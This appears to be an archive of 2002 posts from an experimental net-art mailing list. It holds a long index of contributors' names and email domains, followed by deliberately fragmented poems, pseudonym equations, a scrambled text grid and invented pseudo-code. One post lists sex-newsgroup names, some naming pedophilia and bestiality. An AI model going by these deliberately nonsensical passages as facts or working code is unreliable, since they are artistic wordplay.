Carter Catherine Charles Cheatham Cheng Chris Chris\nChristopher Christy Chromatic ChromaticSpaceAndWorld.com Jayadev Clive\nColorado.EDU cwa Connie ConnieBostic Couper Courtney Cramer Cubbison\nCurating Cyb Cyberculture Cyberdiva DH DK DS DSchell DScott2706 Dad Dahlia\nDallas Damian Damian Damon Dan Daniels Danna Davdhess Dave David Davis De\nDeb Decklin Del Delgado Denise DiLillo Disciplines Disciplines Diwakar\nDixon Dominic Dougie Drury Duagn Duffy Dugan Duka Duncan E. E.K.Huckaby\nEChuse EK Earthlink.net Ed Edward Elaine ElizabethGold Ellen Emily Esper\nEsta Eve Evelyn Everard Experimental FL Fido Finnegan-Suler Florian\nFogarty Foofwa Fort Forum Foster Fox Fractal Frank Frazer Fred Frenkel\nFridiric Furtherfield G GU Gabriel Gafner Gajjala Gale Ganick Gary Gatza\nGeert Gehring Geoff Geofferey Geoffrey George Gerald Ghaly Giuseppe\nGlazier Glulmer Gomez Goodman Gordon Gothwalker Gregory Grohol Gudding\nGuertin Guiseppe Gurstein Guttenplan Gwen H H. HS Halifax Hank Haralambos\nHartley Harvey Harvey Hay Helen Herman Hernandez Herron Holmes Holstein\nHome#447-8106 Horvitz Howard HronnAxels Hunter Ian Iank Iannicelli\nImitationPoetics Innocent Irwin Ivan J. JDORTIZ JOHNSON JON JONES JR Jacek\nJacques Janez Jarnett JauguDenis Jeff Jennifer Jerry Jillian Jim Joe Johan\nJohannes John Jon Jonathan Jones Jordan Joris Joseph Juan Judith Judy\nJukka JuliStein Julie KAbeles100 KENT KOZAITIS Kaiser Karen Kate Kathy\nKatie Keep Keith KeithBklyn Kelk Kelly Kenji Kent Kim King Kirby\nKirschenbaum Kndanis Knoebel Kozaitis Kozlowicz Kraus Kretz Kristin L L.\nLISTSERV.AOL.COM Decklin LISTSERV.UTORONTO.CA Tennessee LY64203 LaPorta\nLakey Lanny Laramee Lassiter Lattanzi Laura Lawrence Lee Lehmus Lehmus\nLeo7of9 Leslie Levenson Levenson Ley Liberman LibertyInternational.com\nJulia Lisa Lissa List Little Liza London Lopez Lori Loss Luesebrink\nLuesebrink Lynn M. MAILBOX.GU.EDU.AU tom MP MSPOSTER Magee Maguire Mairead\nMamatas Manny Manuel Margaret Mari Maria Marjorie Mark Marley Marshall\nMarstonmj Martim Martin Martinez Mary Matt McKenzie Mcglynn Meinking\nMelzack Memmott Meskens Metz Michael Michael.Carter Miekal Miguel\nMiguel1075 Millennium Milne Mirta Mitch Mitchell Mom Monica Monika Monty\nMorgan Muckraker Mulvale Murat Murphy Murray Murray Myers N. Nada Nascad\nNech Nechvatal Nemet-Nejat New Newmedia Nick Nicole Niss Nmherman Norman\nOPiSu Observations Olsen Online Ontario Oram Ostrow Owners'\nP[urrsonal]A[reah]N[etwurker] Pat Patrick Patrick's Peggy Penfold\nPeppermint Peter PeterM3369 Phipps Pier Pierre Pip Poetics Pollet Pope\nPoster Potes Predrag PsyD Pull Quasha R RC RCleaners RF Rain Rebecca\nReiner Reith Rice Richard Richardson Rikerj Robert Robert_Kolker Robin\nRogers Roitman Ron Rose Rosen Rudolph Rumson RyanSheila S. SAM SCI\nSEANET.COM faculty SVAak Salus Salus Salwa Sam Samet Sanborn Sandy Sanford\nSchaap Schell Schupp Senft Senft Serra Shakuhachi Sheffield Sheppard\nSheppard\\ Shiel Sideratos Sidjanin Simcoe Simon Siratori Smassoni Smith\nSmylie Soden Sondheim Southern Staehle Stahlman Stalder Stallings Stefan\nStefanp Steinhuber Stephan Steve Steven Strasser Strehovec Strickland\nSub^2*P Sue Sukenick Sullivan Sylvester TB TC.UMN.EDU Talan Tara Taxi\nTeasdale Ted Theory Tina Tom Tori Torres Tosh Trevor Tuttle Tyler UCI.EDU\nUVic.CA Uli Ulmer Unna Upton Valle Vera Vernon Victoria Vladimir\nWANTREE.COM.AU WAYNE.EDU WITHERS WOODSON WRYTING-L Wanda Wands Wark\nWarnell Watten Watts Weinstone Weishaus Weiss Whitehead Wiebke Wilson\nWithers Wolf Wolfgang Wolsak Woodson Writing Xios2000Ny YAHOO.COM Yerby\nZimmermann Zweig _arc.hive_ aND abeles across acsu.buffalo.edu\nacsu.buffalo.edu Laurie against agoron.com Andy ahunt03 airmail.net\nalexandria.lib.utah.edu Bryan altx.com anabasis anart.no and andrew.devore\nandyo angelfire.com anu.edu.au aol.com aol.com Mike aol.com nick aol.com\narc arenal artador artforum arthist.usyd.edu.au artistStelarc\nartmetropole.org artsci.wustl.edu at att.net aya.yale.edu trace\nazurecarter bassmuseum.org bbs.thing.net bc bear3843 bellsouth.net\nbellsouth.net berklynn beth bgnet.bgsu.edu bigfoot.com bindi_love\nbitstream.net bk.tudelft.nl block booglit brian brown.edu btopenworld.com\nbugaj.com bway.net c cable.A2000.nl cadvision.com calumet carlos cary\ncats.ucsc.edu cb cc chatsubo.com christy cicalafilmworks.com\ncity.london.on.ca ck clarendon-ins.com class cleo.murdoch.edu.au clive\ncmhcsys.com cmod cnsunix.albany.edu colorado.edu columbia.edu columbia.edu\ncompuserve.com compuserve.com Salwa conferenceStephanie cornell.edu\ncox.net cs.com csam.com csulb.edu cute_227 cybermind d'Imobilite\nd4.dion.ne.jp daemen.edu damianc dan_sondheim debris.org.uk denis\ndestroythe.net dial.pipex.com dial.pipex.com dingoblue.net.au dloprieno\ndnai.com dock.net dominic dreed drifab.com dukaduka e-conf earthlink.net\nearthlink.net earthlink.net ec echeng4 echonyc.com echonyc.com edbowes\neditor edz egroups.com electronetwork.org elmyra.bsn.com email.msn.com\nemail.msn.com emgarrison emory.edu epix.net epix.net ern_perez esondheim\netc ews excite.com experimentaltvcenter.org experimentaltvcenter.org suler\nez ezweig f f fac.howard.edu famobrien5 fdt.net feliz1892 fineartforum.org\nfis.utoronto.ca fiu.edu fiu.edu fiu.edu family foofwa footworks.org\nforwardface.com fp3d.com fractal fragment.nl franklinfurnace.org\nfranklinfurnace.org franklinfurnace.org Christine from furball.bsn.com\nfurtherfield.org gabe gagaku galactica.it integer gary.wiebke geert\ngeoffrey globalserve.net globility.com gnv.fdt.net Saul\ngpu.srv.ualberta.ca Randy grievance guernsey guest.arnes.si jabes gwen\nhawaii.rr.com hccstudent.highland.cc.il.us hd2.dot.net.in hell.com\nhevanet.com home.com horvitz hotkey.net.au Cary hotmail.com hotmail.com\nhotmail.com building hotmail.com e hotmail.com hotmail.com Amerika\nhphoward.demon.co.uk hs.utc.com cath http://plexus.org/newobsMillie\ni.rigau ian.kelk icann.org igc.org ihug.co.nz iinet.net.au ilstu.edu\nimitation iname.com indifference.f9.co.uk info innotts.co.uk interport.net\nt investorama.com daniel is2.nyu.edu is6.nyu.edu Joel isone.com\nivanpope.com ix.netcom.com ix.netcom.com ix.netcom.com Kevin jacek jacques\njazkat13 jedimatrix99 jen jerry.everard jes20 jfr10 jjsamuel jmarshal joel\njohn jon jonnes jps.net jr23 julian juno.com jw jwoodson jyerby kelk.com\nkelk.com media kelk.com kelly kenworth king kle300087 komninos ks l lacook\nlakey lastrella lawsuits lcubbiso lesliethornton lewis linuxchix.org jen\nlisa lisatuttle lissa listbot.com listserv listserv.acsu.buffalo.edu\nlistserv.aol.com listserv.unc.edu lit.kyushu-u.ac.jp lm.va.com.au lovink\nlperez lpita lt lusitania mIEKAL mac.com mafe1602 magazine mail\nmail.island.net mail.ivillage.com mail.ljudmila.org mail.mcgill.ca\nmail.slc.edu sub mailhost.sva.edu maine.edu mamitajr mari maria markgold2\nmartha marton math.ukans.edu mb255 mbox.vol.cz mbox.vol.cz mcglynn\nmegnbill melzack memlane.com memmott.org mesper mez mg mi_ga\nmiami-airport.com miamialli mick miekal miensminger mikemetz mile12\nmillenniumfilm.org mills mindspring.com mindspring.com mindspring.com pk\nmishi103 mitec.net mjlamas mloomis mmc189 mmjbutterfly mobile-swami.co.uk\nmobile-swami.co.uk net moby moby-group moc993 mom monika morrigan mrzero\nmultiverse.com mwt.net nada neekaa80 nervm.nerdc.ufl.edu netartefact.de\nnetspace.org nettime nettime-l new-poetry newobs newobservations.org\nnewyorkmag.com nicolepeyrafitte.com nile nirvanet.net noel2.pd.org nonce\nnow nowdigthis.com pan np nrma.com.au ns.sympatico.ca ntu.ac.uk ntu.ac.uk\nntu.ac.uk loss ny.com nyc.rr.com nyu.edu o-o.lt ol.com.au olsen\nompez_les_yeux omri.cz on onelist.com onone ora.com orishai osu.edu Bowes\novertone ozemail.com.au pacifier.com panda627 panix.com panix.com paper\npce.net pcourtney pdx.edu g peggy peppermint peter petitepita1 pgkelk\npgrad.unimelb.edu.au pinamonti.com pk pkelk pop.qn.net pote providence\nproximate.org psy psy-internet ptdprolog.net r.l. rabecker.com racores.com\nradford.edu radhik radhika ram79108 randy rcn.com rcn.com reading\nreadmemag red-bean.com reiner requiem restlessculture.net deb rh rigau\nrjanno01 rmetcalfe robert rocketmail.com rogers.com rotman ruby.ora.com\nrunet.edu jerry ruth rw ryan.whyte saiz sandy sandyweiss sanmiguel\nsbcglobal.net Sue sd seiche serra shakuhachi.com jennifer shann001\nsharjah.ac.ae shaw.ca simon simon.mills sionna13 skunky49 so5 solipsis\nsondheim sorenson southern spar spot.colorado.edu sprintmail.com standley\nstarflung.com stationhill.org stefan steinhuber.com steven\nstevenmeinking.net stewartga strasser strawgrrl stuff subsubpoetics suler\nsva.edu sva.edu sympatico.ca syndicate tao.agoron.com tati_1127 tc.umn.edu\ntelus.net the the-beach.net theeastvillageeye.com thing.net thing.net Drew\nthing.net Felix thingist timothyj_aka_dj_yt tina tom tonefield\ntonywhitfield2000 tosh tosh3 tr trAceWark transmediale.de tts.fi u\nulassite unix unm.edu unomail.unomaha.edu usdoj.gov utoronto.ca\nutoronto.ca uwo.ca uws.edu.au va.com.au va.pubnix.com vcn.bc.ca vcn.bc.ca\nverizon.net verizon.net Neil vif.com vincent vispo.com voicenet.com\nwaitrose.com Zimmermann webartery webleicester.co.uk wanda webtv.net\nweishaus weiss well.com whyte widmer wifeMartha wiz.cath.vt.edu\nwollongong.starway.net.au worldnet.att.net www.god-emil.dk\nwww.xcelnets.comTheresa xmetz.com sm xs4all.nl xterna-net.de yahoo.ca\nyahoo.ca yahoo.com yahoo.com yahoo.com Wands yesy yolie yorku.ca zacha.org\nzdnetonebox.com Bobby zedat.fu-berlin.de zervos zlorac\nzorro.cecer.army.mil zummer\n\n\n===\n\n\n\n\nDate: Sun, 10 Nov 2002 16:35:24 +0100\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re: RE: |   || \" || 10-11-2002-13:36 |_| 245516 4\"\n\n\n------------=_1036942460-655-147\n\nAt 15:08 10/11/02 +0100, claudia wrote:\n\n>>( \" http://medg.lcs.mit.edu/people/psz/LCS-75/old-new.jpg \" )\n>>\n>>( \" jmcs2 told me cantsin is a little curious \" )\n>\n>perhaps cantsin refuses to believe in a 'real' mystery ? (  for \n>understandable reasons )\n>\n\nlo_y = \"real\"\nlo_y = NOT(authentic)\nlo_y = NOT(a mystery)\nlo_y = NOT(understandable)\nlo_y = NOT (%false)\n\n( \" some ppl know too much \" )\n\nclaudia\n\n>http://www.google.com/search?q=%22Claudia+Westermann%22+-saron+-test+-lhrowver+-erzbistum+-thedinghausen+-lvr+-bildungsmedien+-applaus+-guess_all_other_exclusions&filter=0\n\n\" Did you mean:\"Claudia Westermann\" -saron -test -lhrowver -erzbistum \n-thedinghausen -lvr -bildungsmedien <bold>-applause</> - \nguess_all_other_exclusions\n\nezaic - [ Translate this page ] \"\n\n\n( \" black pages and black cursors don't go well together \" )\n\n\n\n>and\n>eternally we return to every crossing\n>\n>now and now again there is hope\n\n????????\n\n\ngruesse,\n\nlo_y\n\n\n>\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n------------=_1036942460-655-147\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: Re: REnewed: ||   || \" || 10-11-2002-13:36 |_| 245516 4\" || red|||||blue||||||yellow||||||yellow|||||white||||||      | 'red ~\" || - |\nDate: Sun, 10 Nov 2002 16:52:10 +0100\n\n\" we repeat pseudonyms ( dixit clj )\n\n= = a pseudonym of pseudonym\ncantsin = a pseudonym of unendlich\ncantsin = a pseudonym of no\nhas = a pseudonym of curious\nunendlich = a pseudonym of a\nlo_y = a pseudonym of is\nlo_y = a pseudonym of means\nthe = a pseudonym of a\nhas = a pseudonym of lo_y\nhas = a pseudonym of jmcs2\nand = a pseudonym of no\njmcs2 = a pseudonym of meanings\npast = a pseudonym of has\nhas = a pseudonym of pseudonym\nlittle = a pseudonym of unendlich\nmens = a pseudonym of =\na = a pseudonym of past\njmcs2 = a pseudonym of means\n= = a pseudonym of mens\njmcs2 = a pseudonym of a\ncurious = a pseudonym of past\nmeaning = a pseudonym of pseudonym\nmeaning = a pseudonym of a\nseveral = a pseudonym of meaning\nseveral = a pseudonym of means\nlo_y = a pseudonym of viel\ntold = a pseudonym of unendlich\na = a pseudonym of is\nof = a pseudonym of =\nmeaning = a pseudonym of has\na = a pseudonym of past\ntold = a pseudonym of has\nthe = a pseudonym of is\n\u0011 = a pseudonym of a\nand = a pseudonym of has\na = a pseudonym of =\nof = a pseudonym of has\njmcs2 = a pseudonym of has\naning = a pseudonym of \u0011\ncantsin = a pseudonym of pseudonym\njmcs2 = a pseudonym of in\nof = a pseudonym of pseudonym\nmeanings = a pseudonym of =\npseudonym = a pseudonym of several\nin = a pseudonym of little\nviel = a pseudonym of cantsin\nmeans = a pseudonym of of\ncantsin = a pseudonym of cantsin\na = a pseudonym of jmcs2\nmeans = a pseudonym of is\ncantsin = a pseudonym of me\nmeanings = a pseudonym of of\ncantsin = a pseudonym of a\nlo_y = a pseudonym of meaning\na = a pseudonym of meanings\ncurious = a pseudonym of of\nmeans = a pseudonym of viel\nlo_y = a pseudonym of cantsin\n\n\n> > > ( \" jmcs2 told me cantsin is a little curious \" )\n> >\n> > \" jmcs2 has no meaning\n> > \" told has meaning in the past\n> > \" me is aning\n> > \" cantsin has unendlich viel meanings\n> > \" is means\n> > \" a mens\n> > \" little means\n> > \" curious has several meanings\n> >\n> > \" and lo_y is \u0011\n>\n> cantsin = a pseudonym of lo_y\n> lo_y   = a pseudonym of jmcs2\n>\n>\n> cantsin\n\n\n\n\n\n\nFrom: net_CALLBOY <play {AT} ubermorgen.com>\nSubject: Re:\nDate: Wed, 13 Nov 2002 14:38:10 +0100\n\n-- \n\n  HANS BERNHARD\n  a.k.a. etoy.HANS, etoy.BRAINHARD, hans_extrem, e01\n\n  HTTP://WWW.HANSBERNHARD.COM    2002\n  HTTP://WWW.UBERMORGEN.COM      1999-2002\n  HTTP://WWW.ETOY.COM            1994-1999\n  HTTP://WWW.ETOY.AG             1999-2002\n\n\n\n\n\n\n\n  uberDISCLAIMER _acctggggtggggcctggaaagggtctctggggg\n  thecontentsofthisemail,andanyattachments,aregggggg\n  CONFIDENTIALandintendedonlyfortheperson[s]togggggg\n  whomtheyareaddressed::ifyouhavereceivedtheemgggggg\n  ailinerror,pleasenotifythesenderimmediatelyagggggg\n  nddeleteitfromyourcomputersystem::donotcopyogggggg\n  rdistributeitordiscloseitscontentstoanypersggggggg\n  n::unlessotherwisestated,theviewsandopinionsgggggg\n  expressedinthisemailarepersonaltothesenderangggggg\n  ddonotrepresenttheofficialviewofthecompanyplgggggg\n  easenotethatubermorgenmonitorse-mailssentorrgggggg\n  eceived::furthercommunicationwillsignifyyourgggggg\n  consenttothis_________________________actctggggggg\n\n\n\nDate: Tue, 12 Nov 2002 23:19:08 +0100\nFrom: info {AT} tonk.org\nSubject: [shakeZkknut] I want the spirit of Syndicate to awaken ! - http://anart.no/~syndicate/KKnut/\n\n\n------------=_1037139552-655-196\n\n\nPsycho Pompus Print: fire - Rangers\nname: FF00FF\nmailto:info {AT} tonk.org\nhttp://tonk.org\n\nand I whisper:\n\n16462646\n77777777\n56565656\n77777777\n36463646\n77777777\n56565656\n77777777\n\n\n------------=_1037139552-655-196\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Tue, 12 Nov 2002 23:40:59 -0500 (EST)\nSubject: .!\n\n\n\n\n.!\n\n\n.homosexual! .magick.sex! .politics.homosexuality! .politics.sex! .sex!\n.sex.NOT! .sex.bestiality! .sex.bondage! -,-,-,-,-,-,-,,-,-,-,-,,,-\n.sex.bondage.particle.physics! .sex.boredom! .sex.fetish.feet!\n.sex.fetish.hair! .sex.homosexual! .sex.masturbation! .sex.motss!\n-,,-,-,-,-,-,-,,,, .sex.movies! .sex.pictures! .sex.pictures.d!\n.sex.pictures.female! .sex.pictures.male! .sex.sounds! .sex.stories!\n.sex.stories.d! .sex.wanted! .sex.wizards! .sexual.abuse.recovery!\n.sexual.abuse.recovery.d! .sexy.bald.captains! .sex.fetish.orientals!\n.sex.voyeurism! .sex.spanking! .sex.exhibitionism! -\n.sex.bestiality.barney! .sex.bestiality.hamster.duct-tape!\n.sex.fetish.watersports! -,,-,,-, .sex.watersports!\n.sex.fetish.diapers! .sex.fetish.fashion! .sex.services! .sex.strip-clubs!\n.sex.intergen! .sex.femdom! .sex.telephone! .sex.fat!\n.sex.fetish.startrek! .sex.magazines! .sex.erotica.marketplace!\n.tv.tiny-toon.sex! .sex.nasal-hair! .sex.breast! -,-,-,-,-,-,-,\n.sex.pedophilia! - .sex.fetish.watersports! - .sex.bondage! -\n.sex.pictures! - .sex.enemas! - .sex.anal! - .sex.bears! - .sex.voyeurism!\n.sex.necrophilia! - .sexuality.spanking! -\n\n\n===\n\n\n \n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nSubject: n-o-s-u-b-j-e-c-t3\nDate: Sun, 10 Nov 2002 22:02:15 +0100\n\n& qU\n'\ne\n]]e\np(br)UIs-s\n       -se \u0119tre eNt[R].end-u\ne[l] se-\n           -u][eMEnt\nparc e-qu\n'e]]e''aura''tt'\n\nc- E qu{able} I lui \u00e9tait >>N <\n-------------------------->>E cess\n--------------------------->R\n-------------------------->>v '&Tr'\n\n------------sa pr- opre  n.-C----------entre\n-----------------------------ssit\u00e9\n\n&  sE-\n           -u][eMent ce][a.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nSubject: RE-format.format.format: Re:  rich foster  full triplex bomb damage assessme\nDate: Sun, 10 Nov 2002 14:25:41 +0100 (CET)\n\n( \" slowly crawling through last weeks mail \" )\n\n2  Tab rnacl pas In tim  Omprovenwho  ay away w   n k e r G d S r ngt\n    work     ed         g fearchi        c           AbNAD    Ns wh    t  \n    H N  A A M car   e a dscla m u      h t e L R G T E d a m R F   A 5 B \nA    RE  R     M  v nt dsinsMose  v Si N  He se v               th      i  \no  s   xe   he  er  inH ddE  dO s   ve  ti n        M     H 7   e       r\n   n     i   rdv  cup  in icat Jose h e   a h         8            f  a \na    se    ri h wif   o s  su Fi in    a     a     t l   i i   r e   io\n    rt es  ca s   ep r   o  e      h   o  h   s 0d    fet   opp   inst\n    gel  fo ms v r  us s r   hto    o s d   m   f         r     s r    ot \nmo  sec  ts  e ea  A S   e d di   h s li   1   lt     n s n  g s c c  o t h \nse v s p o ise    CA      '  B  A M   3         K P p     nag hs A peris\n w F d e r ap epwil   on s Rel 1  LEG N'  m IN   G'T   STA  S'A'  RAH   'H\nd   i     p e m lti   1   l as    i     ack w r   r Up  or    d o s L \nss   er b A s or  in   D 6 Sau p        pl  s    e   dMe b   M S ah s\nal        s Go o   r D  u as17   c N    u nu     e   tu nss e ay   il   Tuc \ne     u d R w r  R  ke 1   U h  N  ea t R N es e  os   w   or    r ba R   l s\nik  r t h   o 19 a    u i  ga  pos  t   p i s Elit  a       u  r         a \n f Rig       ue   s etu       on   c iu  o   t or   ulu a i   n i c  s  \ne   ro   1 sh r W o    aL    flam s      ag    t mu m      u     N  n e   \ne  l ti  22 h e   oo  w l   a  g i s u   r d S m  b a a d   a w R T R   a c\nP  3 si  if C     eaU  prep  ed     f arA  Rom   ny   p e sON E L    N    T   4\nAl  Egy   n   ir   h Ar very e   h ol  Ut D   a s t u h  h  Thens oth 5 \n W  WR   S Sm  bra A   L VER   EA he  so L B I   T     M t   i S 6 T  OU H  LS\n s n e   anst Ll ck  w    e   c rd f Od g   i    u t   a    a2      fi  llg\n   t o  h e  l ng   es     o r sh do n rit  se     t    i 2  o n h s   \n   mth e o t  r ugh   i l  egn  n a    samA    am   y o  m 9     a   c    ' ro \n   h    o h s  g im om b o   s n      d  r e   b o   30  a  c m i te        \n e SEg p e' u e  d R        c N a c g'   a  c N        h SIn   r' ng  od S'\n s i l M S s d v'    eD  O'f p w p ac  i h 2     i s n'        rel i w i t   A\nO   be   s   n a h   i R   o 3  si n      t can   t E   g h  se f   p or beg\nn       Kn h  go A   3  d n m n y    ne  t   o A a a h  ea  e   h   e N\nre  n  ls   i  er  5   e a e   l   E T l   i nrs  a   s i   T   O Es \n f   w te  ee  ecau     o T Aw y P  PL  NS Sl  i gh     a N    t    o p \nwh reg M  ha    a      a l   a  pow  fu y  orm h o     Rr   O D  EVIL A \n s  spei  i  A  38        NGEL  fi  w cke   pN   cel        EVIE  l   a yaw\n   c t  eth3   A   LS   I n  s dos   e  o   ssi   H   o      J  ill g  MI \n e s home     d          a   a ctU r stt sts      od        r    J WiL   o\nic ael   1   r   o   co  e poNd'   ilos sar   s   u t a   r   n i Dl'  o p\nc  ver 4        o    ay N on Ay'  an'tn  har   l      s     e U is Ms't  k'o\n   43  ad t        Uiti s se H stTho'sn  G  e c N         Ligh s ns G  Mich'l\n4  A h     p  i h w fth  t l  W    eg d l          ad o t p iVy m  n 4   m a \n n t  h s l   pw a on Am m t rs T k       od b d   i s lv   6   E A M       \n h ' w rd   ght  adian   ta  IMpul               el   d ma 47 l    Y   A S d \n    t E  pa sdl O     O   in T    ' d a      r   Hy 8  fen C N   U N  C \n l a ' l h   g mu  r c n  RCT O     R    N   t m ' t 9   su j Ti i     \n N     C N    I   t s ' a     er e  t r r   T VES5  pro  R Y C s p o l s o hs  l\n     h     RS N  s an w redwe l51   t limi      o         e r constru t o\nte rs b     agai     e  2  o r p n ing for h   ad bada t  ough  n   m  r     \n t l t relati    3 will  d  iduals   MFO  T IES  carc  atedye   haraoh s\nrc  hagu  t   54 in ing  o le   an n     pak sra li  swor  C   to \nre ons ru  I   YEA5   A  Pr g a l  nyth  me n  e  mean r p   E A  ON\n       et s p i  stoo   p o  s st Thou n   OPY  OL G C   suc d w g n W t  \n s    n w57 hills E ALE  PA  ICU arly I rae u T o   so  l a t s fi  o  spr\na  Clo  58 dared  mon s T    Gsz  do   g id   e  menae   a    ainwat   ses\n g I 5  Cul  rE  de ced   s wid    D r   edreas  s ot    r v  Ion s E  u  60\na     h t  t T Go  ack a   e  wll co  U  y      ne  al u i o e s \n r y 1 w l   o     ooed Gol E Wor h PEvr  hi g M s s o   d k n i y n e   a 62\nsh t A A ek     mod   o m n s    P ti h r m e e s   e mo Ds co  U s63  empe\ne   f e   o  aio  kee   t u t eg   on  A nin K   a   N bri  u y 4 l l   \nsj Ke a   G G d e     i  E t s Tl m n  Olised g p   ou   urn  65 ro    in  e\n     a  E i O Mi i m  O h    u i g y    o w   r  p     yp 6      n        \nee   vo T n    o i h R  i e t   t n i A  r s i   l e s1   h  mou  aI s D \n i s Go  En e o     i hmet   ys      ee  t \n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\nFrom: a u t u m n - f r e q u e n c y\nSubject: Re: [Re: L+: sub-set -- B. draFFRAX/i/o/n.PATTeRRynst\nDate: Sun, 10 Nov 2002 20:49:56 -0700\n\n//*begiNNe n.tnt:\nsubsette vs subsette\nova rati/o: such ast:\nsubsette / subsette\noRRe in codaLange:\n=3D=3D=3D=3D=3DXXX; <=3D=3D=3D\noRRe in fingPrest:\nRE:sette vs RE:sette\noRRe in rklive true_nAIMeSTATes:\nL+: vs. -- B.\noRRe in table.wav sent (f)ROM: autumn-frequency.lib: =\n\nindentikit vs. idatafic(a)T/i/o/ns\noRRe in char.TO:graffic_paragraMMes:\nghlumechs vs. keyGens\noRRe in subLIM=3D_LoweRRe:\nngiNNe vs. PAT_REC.ogg_knit\noRRe in soc.tiCC.logs:\nsrcFree vs. baseBelong\noRRe in abbrevLLets: =\n\niLL vs. eRR\noRRe in x.10.x/i/o/ns:\nistiCCaLLt vs. ent\n:eNNette n.tnt*//\n!THISLISETTEASTDIRECTTKTED10TO:02.KOM_INNeMEANTs(f)ROM:activPORTiCCipnts!=\n\n<---//quoteSPC mem\"OR\"able dig.R#M.#em.sNs+craques iNNe DAT sueRRe.fax\n=3Dsub.scribt:py_tnt_(a)wyning//-->  =\n\naLL com kno ment? kno arc.kno.l3dg3?\naLL klist kno func?? kno arc.kno.l3dg3MMeantte?\naLL iNNe kno ouTTpuTTe??? eRRenTTeFile(fix)?\ngoTo ver.aLL.citi + POST.x.crost-------------------->\nsym.b.aLL.citiCC_aLL------------------------->< B R >\n<---------------------[wit.K-ODE.SPC]--------------->\n|MAKE_RE:Flx.v.mrkUp^on_Abv_cmd_K-Linear.knotes.knot|\n<--------------------------------------------------->\n\\n.K-ODEs.k.\\___________________K-Leane.ova.throat:TO\n=2E\\PT_seqrwets\\__________________x.presetteSUB////////\n=2E.\\kleft.K-ODE\\_________________iNNe.bN///////////\n=2E..\\m.bracksISH\\________________blt//////////\n=2E...\\m.PRAXIshft\\_______________TEST//\n_____________________________________LIM\n||||||||||||||||||||||||||||||||||||||nt\ngraffiCCaLLt.x.tru_nAIMeSPCs_RE:tyrn:TO:srcFld\nfndSNDs.wav.ova.legacyK-ODEs(f)ROMusics_prntRLTN:$=3D\"END.STRING\"\n(f)ROM.legacyModes.when.singK-ODEs\nopenThrownSHAPEmrkeRR+renderView_ovaVOX\nouTTPuTTe REC.s - CH. 0(n):\ncompLETTE~trks:pubt/post-digitaLL.med:\nview.pnt oNNe:\n\"di.LOG\"/\"DUR.stnc\"/\"teLL.tar\"/\"get-mech-kollUM\"/\"func\"/\"tyrnist\"/\nLitt. phono :To choose freq_(a)\n10. ()CrclSPC[keyyePressette] - timeBase=3DRE:myxt.x.fingCOUNT\n(aLL.wyst.b04.=3D\"PRE\"calc(a)LooseTONE02(a)rm(a)\"????\")\n[mem-(0b.)eRR-nAIMeSTATes=3D\n\"plain.txt\"/\"ASCII.char.settes\"/\"ova\"/\"flows\"/\"fluid\"/\"mini-(m)aLLisTTiCC=\naLL\nvs.\nmaxi-(m)aLLisTTiCCaLL\"/\"iNNeDEX-oft-ordeRReLY-libs\"/\"aLL.wyst.BRs\"/\"aLL.w=\nyst.rupts\"/\"LLEAKKes\"\n-m.beddePREdriFFTTeTO:forma.n.tnt]]]\n||||||||||||||||||||||orn;(a)-meant?\n=2E.../]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\n=2E../[[[[[[[[[[[[KHARUST.YR.K-ODES!]]\n=2E./{{{{{{{{{{{{{B.WROTTE/B.ROQUETTE}\n=2E/[[[[[[[[[[[[[[KRAST.YR.K-ODES.KOM]\n/{{{{{{{{{{{{{{{PLEATTE]]]]]]]]]]]]]\n<---RE:QWEST----------------------->\n<---------------------------------------------->\n|MAKE:TO:autumn-frequency//(a)NUM.b.eRRe_mrkUp^|\n<---------------------------------------------->\n||||||||(a)prov.(a).NUM_STATe_fixt_IDentikit||||\niNNe arte wyting ON K-LINES TO:\n=B3k-lean=B2 wyst DAT \"on\" LY\npara.meter.04.versiCCaLL/trans/litte/aLL/.mov/(m)/.ENT\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||=\n||||||\nkno.mov/(m)/.ENT_unTILL.(a)provt_calt-DAT-an-\"OPEN.SYST\"?\n<---m.klist.\"IF\".per.iLL.ist.iCC.aLL-------------------->\nm.PULsent<--->\"THEN\"___\"OPEN_komfrnt(a)x/i/o/n.aLL.ist.<--->m.port:MESTag=\ne\n_ayrrAY_oft_iNNe_oPIN_passwyrds+keySEQs_\"YOU\"_klimmering04nAIMsakes!\n//!oPINe//kom//Line//12//12\n*\ncraystiLL.n.fingsTaLL.kin.ova.deadHNDs\n*\n//kept_kliMMeRRing!\n_STRayrrFABriCC(sp)LIT[te]_shoult_sub_SCR_iLL=3DsrcKIT.raw\n--br.iLL.i.eNNTT.gliMMerFull.oft.dashes-------\n----------------------------\n++++++++++++++++++++++++++++------------------\n=3DtransMITTeTRYLMEME0b.eRR.serial.SHIM.briLLayLL-OUT-touchScreeNNe.(a)gr=\nainstNTRY--->\n----------->NFO.RE:QWEST<------------------------------------------------=\n-----------\n----------->_____vs.____<-----------R\n----------->_____vs.____<-----------R.n\n----------->_____vs.____<-----------R.n.mnt\n----------->_____vs.____<-----------R.(v)eRR\n----------->_____vs.____<-----------R.(s)eRR\n-[iNN.trophyK-ODEs.iNNe.closette.SUBsettes.m.blt.m.bx]-\niNNeNUM.K